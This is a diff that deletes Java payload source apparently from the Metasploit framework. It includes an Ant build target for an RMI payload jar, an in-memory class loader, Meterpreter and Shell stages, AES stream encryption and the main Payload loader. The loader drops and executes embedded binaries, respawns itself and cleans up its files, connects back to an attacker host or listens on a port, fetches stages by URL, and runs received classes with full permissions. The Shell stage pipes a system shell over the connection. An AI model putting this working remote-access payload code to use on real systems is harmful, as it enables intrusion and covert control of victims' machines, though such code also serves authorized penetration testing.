<jar destfile="${project.basedir}/target/rmi/rmidummy.jar">
|
||||
<manifest>
|
||||
<attribute name="Main-Class" value="metasploit.Payload" />
|
||||
</manifest>
|
||||
<fileset dir="${project.basedir}/target/classes">
|
||||
<include name="metasploit/RMILoader.class" />
|
||||
<include name="metasploit/RMIPayload.class" />
|
||||
<include name="metasploit/Payload.class" />
|
||||
<include name="metasploit.dat" />
|
||||
</fileset>
|
||||
</jar>
|
||||
<delete file="${project.basedir}/target/classes/metasploit.dat" />
|
||||
|
||||
<!-- rename local metasploit/RMILoader.class to ensure a classloader
|
||||
URL will be serialized -->
|
||||
<move file="${project.basedir}/target/classes/metasploit/RMILoader.class" tofile="${project.basedir}/target/classes/metasploit/RMILoader.class.tmp" />
|
||||
|
||||
<!-- run the capture server -->
|
||||
<java classpath="${project.basedir}/target/classes" classname="rmi.RMICaptureServer" dir="${project.basedir}/target/rmi" fork="true" />
|
||||
|
||||
<!-- rename back -->
|
||||
<move file="${project.basedir}/target/classes/metasploit/RMILoader.class.tmp" tofile="${project.basedir}/target/classes/metasploit/RMILoader.class" />
|
||||
</target>
|
||||
</configuration>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
</profile>
|
||||
</profiles>
|
||||
</project>
|
||||
-104
@@ -1,104 +0,0 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* An {@link URLConnection} for an URL that is stored completely in memory.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public class MemoryBufferURLConnection extends URLConnection {
|
||||
|
||||
private static List files = new ArrayList();
|
||||
|
||||
static {
|
||||
// tweak the cache of already loaded protocol handlers via reflection
|
||||
try {
|
||||
Field fld;
|
||||
try {
|
||||
fld = URL.class.getDeclaredField("handlers");
|
||||
} catch (NoSuchFieldException ex) {
|
||||
try {
|
||||
// GNU Classpath (libgcj) calls this field differently
|
||||
fld = URL.class.getDeclaredField("ph_cache");
|
||||
} catch (NoSuchFieldException ex2) {
|
||||
// throw the original exception
|
||||
throw ex;
|
||||
}
|
||||
}
|
||||
fld.setAccessible(true);
|
||||
Map handlers = (Map) fld.get(null);
|
||||
// Note that although this is a static initializer, it can happen
|
||||
// that two threads are entering this spot at the same time: When
|
||||
// there is more than one classloader context (e. g. in a servlet
|
||||
// container with Spawn=0) and more than one of them is loading
|
||||
// a copy of this class at the same time. Work around this by
|
||||
// letting all of them use the same URL stream handler object.
|
||||
synchronized(handlers) {
|
||||
// do not use the "real" class name here as the same class
|
||||
// loaded in different classloader contexts is not the same
|
||||
// one for Java -> ClassCastException
|
||||
Object /*MemoryBufferURLStreamHandler*/ handler;
|
||||
|
||||
if (handlers.containsKey("metasploitmembuff")) {
|
||||
handler = handlers.get("metasploitmembuff");
|
||||
} else {
|
||||
handler = new MemoryBufferURLStreamHandler();
|
||||
handlers.put("metasploitmembuff", handler);
|
||||
}
|
||||
|
||||
// for the same reason, use reflection to obtain the files List
|
||||
files = (List) handler.getClass().getMethod("getFiles", new Class[0]).invoke(handler, new Object[0]);
|
||||
}
|
||||
} catch (Exception ex) {
|
||||
throw new RuntimeException(ex.toString());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a new URL from a byte array and its content type.
|
||||
*/
|
||||
public static URL createURL(byte[] data, String contentType) throws MalformedURLException {
|
||||
synchronized(files) {
|
||||
files.add(data);
|
||||
return new URL("metasploitmembuff", "", (files.size() - 1) + "/" + contentType);
|
||||
}
|
||||
}
|
||||
|
||||
private final byte[] data;
|
||||
private final String contentType;
|
||||
|
||||
protected MemoryBufferURLConnection(URL url) {
|
||||
super(url);
|
||||
String file = url.getFile();
|
||||
int pos = file.indexOf('/');
|
||||
synchronized (files) {
|
||||
data = (byte[]) files.get(Integer.parseInt(file.substring(0, pos)));
|
||||
}
|
||||
contentType = file.substring(pos + 1);
|
||||
}
|
||||
|
||||
public void connect() throws IOException {
|
||||
}
|
||||
|
||||
public InputStream getInputStream() throws IOException {
|
||||
return new ByteArrayInputStream(data);
|
||||
}
|
||||
|
||||
public int getContentLength() {
|
||||
return data.length;
|
||||
}
|
||||
|
||||
public String getContentType() {
|
||||
return contentType;
|
||||
}
|
||||
}
|
||||
-26
@@ -1,26 +0,0 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.net.URLStreamHandler;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* An {@link URLStreamHandler} for a {@link MemoryBufferURLConnection}
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public class MemoryBufferURLStreamHandler extends URLStreamHandler {
|
||||
|
||||
private List files = new ArrayList();
|
||||
|
||||
protected URLConnection openConnection(URL u) throws IOException {
|
||||
return new MemoryBufferURLConnection(u);
|
||||
}
|
||||
|
||||
public List getFiles() {
|
||||
return files;
|
||||
}
|
||||
}
|
||||
-25
@@ -1,25 +0,0 @@
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
import com.metasploit.meterpreter.MemoryBufferURLConnection;
|
||||
|
||||
/**
|
||||
* Meterpreter Java Payload Proxy
|
||||
*/
|
||||
public class Meterpreter implements Stage {
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||
boolean noRedirectError = parameters[parameters.length-1].equals("NoRedirect");
|
||||
int coreLen = in.readInt();
|
||||
byte[] core = new byte[coreLen];
|
||||
in.readFully(core);
|
||||
URL coreURL = MemoryBufferURLConnection.createURL(core, "application/jar");
|
||||
new URLClassLoader(new URL[] { coreURL }, getClass().getClassLoader()).loadClass("com.metasploit.meterpreter.Meterpreter").getConstructor(new Class[] { DataInputStream.class, OutputStream.class, boolean.class, boolean.class }).newInstance(new Object[] { in, out, Boolean.TRUE, new Boolean(!noRedirectError) });
|
||||
in.close();
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
-56
@@ -1,56 +0,0 @@
|
||||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
public class Shell implements Stage {
|
||||
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||
final String[] cmdarray = new String[1];
|
||||
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
|
||||
cmdarray[0] = "cmd.exe";
|
||||
} else {
|
||||
cmdarray[0] = "/bin/sh";
|
||||
}
|
||||
final Process proc = Runtime.getRuntime().exec(cmdarray);
|
||||
new StreamForwarder(in, proc.getOutputStream(), out).start();
|
||||
new StreamForwarder(proc.getInputStream(), out, out).start();
|
||||
new StreamForwarder(proc.getErrorStream(), out, out).start();
|
||||
proc.waitFor();
|
||||
in.close();
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
-42
@@ -1,42 +0,0 @@
|
||||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
public interface Stage {
|
||||
public abstract void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception;
|
||||
}
|
||||
Vendored
-99
@@ -1,99 +0,0 @@
|
||||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.io.PrintStream;
|
||||
|
||||
public class StreamForwarder extends Thread {
|
||||
public static void forward(InputStream in, OutputStream out) throws IOException {
|
||||
forward(in, out, true);
|
||||
}
|
||||
|
||||
public static void forward(InputStream in, OutputStream out, boolean closeOut) throws IOException {
|
||||
try {
|
||||
final byte[] buf = new byte[4096];
|
||||
int length;
|
||||
while ((length = in.read(buf)) != -1) {
|
||||
if (out != null) {
|
||||
out.write(buf, 0, length);
|
||||
if (in.available() == 0) {
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
}
|
||||
} finally {
|
||||
in.close();
|
||||
if (closeOut)
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
private final InputStream in;
|
||||
private final OutputStream out;
|
||||
|
||||
private final OutputStream stackTraceOut;
|
||||
private final boolean closeOut;
|
||||
|
||||
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut) {
|
||||
this(in,out,stackTraceOut,true);
|
||||
}
|
||||
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut, boolean closeOut) {
|
||||
this.in = in;
|
||||
this.out = out;
|
||||
this.stackTraceOut = stackTraceOut;
|
||||
this.closeOut = closeOut;
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
forward(in, out, closeOut);
|
||||
} catch (final Throwable ex) {
|
||||
if (stackTraceOut == null)
|
||||
throwWrapped(ex);
|
||||
ex.printStackTrace(new PrintStream(stackTraceOut, true));
|
||||
}
|
||||
}
|
||||
|
||||
private static void throwWrapped(Throwable ex) {
|
||||
/* #JDK1.4 */try {
|
||||
throw new RuntimeException(ex);
|
||||
} catch (NoSuchMethodError ex2) /**/{
|
||||
throw new RuntimeException(ex.toString());
|
||||
}
|
||||
}
|
||||
}
|
||||
-42
@@ -1,42 +0,0 @@
|
||||
package metasploit;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.SecureRandom;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.CipherInputStream;
|
||||
import javax.crypto.CipherOutputStream;
|
||||
import javax.crypto.spec.IvParameterSpec;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
|
||||
/**
|
||||
* Utility class to enable AES encryption for stagers. This is in its own class
|
||||
* because it depends on classes only present on Sun JRE 1.4+, and incorporating
|
||||
* it into the main {@link Payload} class would have made it impossible for
|
||||
* other/older JREs to load it.
|
||||
*/
|
||||
public class AESEncryption {
|
||||
public static Object[] wrapStreams(InputStream in, OutputStream out, String key) throws Exception {
|
||||
DataInputStream din = new DataInputStream(in);
|
||||
din.readInt(); // first class size 0 as marker in JavaPayload
|
||||
SecureRandom sr = new SecureRandom();
|
||||
byte[] outIV = new byte[16];
|
||||
sr.nextBytes(outIV);
|
||||
out.write(outIV);
|
||||
out.flush();
|
||||
byte[] inIV = new byte[16];
|
||||
din.readFully(inIV);
|
||||
byte[] keyBytes = MessageDigest.getInstance("MD5").digest(key.getBytes());
|
||||
Cipher co = Cipher.getInstance("AES/CFB8/NoPadding");
|
||||
co.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(outIV), sr);
|
||||
Cipher ci = Cipher.getInstance("AES/CFB8/NoPadding");
|
||||
ci.init(Cipher.DECRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(inIV), sr);
|
||||
return new Object[] {
|
||||
new CipherInputStream(din, ci),
|
||||
new CipherOutputStream(out, co),
|
||||
};
|
||||
}
|
||||
}
|
||||
-387
@@ -1,387 +0,0 @@
|
||||
/*
|
||||
* Java Payloads loader class for Metasploit.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
package metasploit;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataInputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileNotFoundException;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.security.AllPermission;
|
||||
import java.security.CodeSource;
|
||||
import java.security.Permissions;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.security.cert.Certificate;
|
||||
import java.util.Locale;
|
||||
import java.util.Properties;
|
||||
import java.util.Stack;
|
||||
import java.util.StringTokenizer;
|
||||
|
||||
/**
|
||||
* The main payload loader class.
|
||||
*
|
||||
* To invoke all the magic, call the {@link #main(String[])} method
|
||||
* (Or use it as Main-Class in a standalone jar and double-click it).
|
||||
*/
|
||||
public class Payload extends ClassLoader {
|
||||
|
||||
public static void main(String[] ignored) throws Exception {
|
||||
// Find our properties. If we are running inside the jar, they are in a resource stream called "/metasploit.dat".
|
||||
Properties props = new Properties();
|
||||
Class clazz = Payload.class;
|
||||
String clazzFile = clazz.getName().replace('.', '/')+".class";
|
||||
InputStream propsStream = clazz.getResourceAsStream("/metasploit.dat");
|
||||
if (propsStream != null) {
|
||||
props.load(propsStream);
|
||||
propsStream.close();
|
||||
}
|
||||
|
||||
// check if we should drop an executable
|
||||
String executableName = props.getProperty("Executable");
|
||||
if (executableName != null) {
|
||||
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
|
||||
dummyTempFile.delete();
|
||||
File tempDir = new File(dummyTempFile.getAbsolutePath()+".dir");
|
||||
tempDir.mkdir();
|
||||
File executableFile = new File(tempDir, executableName);
|
||||
writeEmbeddedFile(clazz, executableName, executableFile);
|
||||
props.remove("Executable");
|
||||
props.put("DroppedExecutable", executableFile.getCanonicalPath());
|
||||
}
|
||||
|
||||
// check if we should respawn
|
||||
int spawn = Integer.parseInt(props.getProperty("Spawn", "0"));
|
||||
String droppedExecutable = props.getProperty("DroppedExecutable");
|
||||
if (spawn > 0) {
|
||||
// decrease count so that eventually the process
|
||||
// will stop spawning
|
||||
props.setProperty("Spawn", String.valueOf(spawn - 1));
|
||||
// write our class
|
||||
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
|
||||
dummyTempFile.delete();
|
||||
File tempDir = new File(dummyTempFile.getAbsolutePath()+".dir");
|
||||
File propFile = new File(tempDir, "metasploit.dat");
|
||||
File classFile = new File(tempDir, clazzFile);
|
||||
classFile.getParentFile().mkdirs();
|
||||
// load ourselves via the class loader (works both on disk and from Jar)
|
||||
writeEmbeddedFile(clazz, clazzFile, classFile);
|
||||
if(props.getProperty("URL", "").startsWith("https:")) {
|
||||
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class"));
|
||||
}
|
||||
if (props.getProperty("AESPassword", null) != null) {
|
||||
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(classFile.getParentFile(), "AESEncryption.class"));
|
||||
}
|
||||
FileOutputStream fos = new FileOutputStream(propFile);
|
||||
props.store(fos, "");
|
||||
fos.close();
|
||||
Process proc = Runtime.getRuntime().exec(new String[] {
|
||||
getJreExecutable("java"),
|
||||
"-classpath",
|
||||
tempDir.getAbsolutePath(),
|
||||
clazz.getName()
|
||||
});
|
||||
// the input streams might cause the child process to block if
|
||||
// we do not read or close them
|
||||
proc.getInputStream().close();
|
||||
proc.getErrorStream().close();
|
||||
|
||||
// give the process plenty of time to load the class if needed
|
||||
Thread.sleep(2000);
|
||||
|
||||
// clean up (we can even delete the .class file on Windows
|
||||
// if the process is still running). Note that delete()
|
||||
// will only delete empty directories, so we have to delete
|
||||
// everything else first
|
||||
File[] files = new File[] {
|
||||
classFile, classFile.getParentFile(), propFile, tempDir
|
||||
};
|
||||
for (int i = 0; i < files.length; i++) {
|
||||
for (int j = 0; j < 10; j++) {
|
||||
if (files[i].delete())
|
||||
break;
|
||||
files[i].deleteOnExit();
|
||||
Thread.sleep(100);
|
||||
}
|
||||
}
|
||||
} else if (droppedExecutable != null) {
|
||||
File droppedFile = new File(droppedExecutable);
|
||||
// File.setExecutable is Java 1.6+, therefore call it via reflection and try
|
||||
// the chmod alternative if it fails. Do not call it at all for Windows.
|
||||
if (!IS_DOS) {
|
||||
try {
|
||||
try {
|
||||
File.class.getMethod("setExecutable", new Class[] {boolean.class}).invoke(droppedFile, new Object[] { Boolean.TRUE});
|
||||
} catch (NoSuchMethodException ex) {
|
||||
// ok, no setExecutable method, call chmod and wait for it
|
||||
Runtime.getRuntime().exec(new String[] {"chmod", "+x", droppedExecutable}).waitFor();
|
||||
}
|
||||
} catch (Exception ex) {
|
||||
// try to continue anyway, we have nothing to lose
|
||||
ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
// now execute the executable.
|
||||
// tempdir may contain spaces, so do not use the String variant of exec!
|
||||
Runtime.getRuntime().exec(new String[] {droppedExecutable});
|
||||
|
||||
// Linux and other Unices allow removing files while they are in use
|
||||
if (!IS_DOS) {
|
||||
droppedFile.delete();
|
||||
droppedFile.getParentFile().delete();
|
||||
}
|
||||
} else {
|
||||
// check what stager to use (bind/reverse)
|
||||
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
|
||||
String lHost = props.getProperty("LHOST", null);
|
||||
String url = props.getProperty("URL", null);
|
||||
InputStream in;
|
||||
OutputStream out;
|
||||
if (lPort <= 0) {
|
||||
// debug code: just connect to stdin/stdout
|
||||
// best used with embedded stages
|
||||
in = System.in;
|
||||
out = System.out;
|
||||
} else if (url != null) {
|
||||
if (url.startsWith("raw:"))
|
||||
// for debugging: just use raw bytes from property file
|
||||
in = new ByteArrayInputStream(url.substring(4).getBytes("ISO-8859-1"));
|
||||
else if (url.startsWith("https:")) {
|
||||
URLConnection uc = new URL(url).openConnection();
|
||||
// load the trust manager via reflection, to avoid loading
|
||||
// it when it is not needed (it requires Sun Java 1.4+)
|
||||
Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", new Class[] {URLConnection.class}).invoke(null, new Object[] {uc});
|
||||
in = uc.getInputStream();
|
||||
} else
|
||||
in = new URL(url).openStream();
|
||||
out = new ByteArrayOutputStream();
|
||||
} else {
|
||||
Socket socket;
|
||||
if (lHost != null) {
|
||||
// reverse_tcp
|
||||
socket = new Socket(lHost, lPort);
|
||||
} else {
|
||||
// bind_tcp
|
||||
ServerSocket serverSocket = new ServerSocket(lPort);
|
||||
socket = serverSocket.accept();
|
||||
serverSocket.close(); // no need to listen any longer
|
||||
}
|
||||
in = socket.getInputStream();
|
||||
out = socket.getOutputStream();
|
||||
}
|
||||
|
||||
String aesPassword = props.getProperty("AESPassword", null);
|
||||
if (aesPassword != null) {
|
||||
// load the crypto code via reflection, to avoid loading
|
||||
// it when it is not needed (it requires Sun Java 1.4+ or JCE)
|
||||
Object[] streams = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", new Class[] {InputStream.class, OutputStream.class, String.class}).invoke(null, new Object[] {in, out, aesPassword});
|
||||
in = (InputStream) streams[0];
|
||||
out = (OutputStream) streams[1];
|
||||
}
|
||||
|
||||
// build the stage parameters, if any
|
||||
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- "+props.getProperty("StageParameters", ""), " ");
|
||||
String[] stageParams = new String[stageParamTokenizer.countTokens()];
|
||||
for (int i = 0; i < stageParams.length; i++) {
|
||||
stageParams[i] = stageParamTokenizer.nextToken();
|
||||
}
|
||||
new Payload().bootstrap(in, out, props.getProperty("EmbeddedStage", null), stageParams);
|
||||
}
|
||||
}
|
||||
|
||||
private static void writeEmbeddedFile(Class clazz, String resourceName, File targetFile) throws FileNotFoundException, IOException {
|
||||
InputStream in = clazz.getResourceAsStream("/"+resourceName);
|
||||
FileOutputStream fos = new FileOutputStream(targetFile);
|
||||
byte[] buf = new byte[4096];
|
||||
int len;
|
||||
while ((len = in.read(buf)) != -1) {
|
||||
fos.write(buf,0,len);
|
||||
}
|
||||
fos.close();
|
||||
}
|
||||
|
||||
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception {
|
||||
try {
|
||||
final DataInputStream in = new DataInputStream(rawIn);
|
||||
Class clazz;
|
||||
final Permissions permissions = new Permissions();
|
||||
permissions.add(new AllPermission());
|
||||
final ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
|
||||
if (embeddedStageName == null) {
|
||||
int length = in.readInt();
|
||||
do {
|
||||
final byte[] classfile = new byte[length];
|
||||
in.readFully(classfile);
|
||||
resolveClass(clazz = defineClass(null, classfile, 0, length, pd));
|
||||
length = in.readInt();
|
||||
} while (length > 0);
|
||||
} else {
|
||||
clazz = Class.forName("javapayload.stage."+embeddedStageName);
|
||||
}
|
||||
final Object stage = clazz.newInstance();
|
||||
clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(stage, new Object[] { in, out, stageParameters });
|
||||
} catch (final Throwable t) {
|
||||
t.printStackTrace(new PrintStream(out));
|
||||
}
|
||||
}
|
||||
|
||||
///
|
||||
/// The rest of the file is based on code from Apache Ant 1.8.1
|
||||
///
|
||||
private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
|
||||
private static final String PATH_SEP = System.getProperty("path.separator");
|
||||
|
||||
private static final boolean IS_AIX = "aix".equals(OS_NAME);
|
||||
private static final boolean IS_DOS = PATH_SEP.equals(";");
|
||||
private static final String JAVA_HOME = System.getProperty("java.home");
|
||||
|
||||
private static String getJreExecutable(String command) {
|
||||
File jExecutable = null;
|
||||
|
||||
if (IS_AIX) {
|
||||
// On IBM's JDK 1.2 the directory layout is different, 1.3 follows
|
||||
// Sun's layout.
|
||||
jExecutable = findInDir(JAVA_HOME + "/sh", command);
|
||||
}
|
||||
|
||||
if (jExecutable == null) {
|
||||
jExecutable = findInDir(JAVA_HOME + "/bin", command);
|
||||
}
|
||||
|
||||
if (jExecutable != null) {
|
||||
return jExecutable.getAbsolutePath();
|
||||
} else {
|
||||
// Unfortunately on Windows java.home doesn't always refer
|
||||
// to the correct location, so we need to fall back to
|
||||
// assuming java is somewhere on the PATH.
|
||||
return addExtension(command);
|
||||
}
|
||||
}
|
||||
|
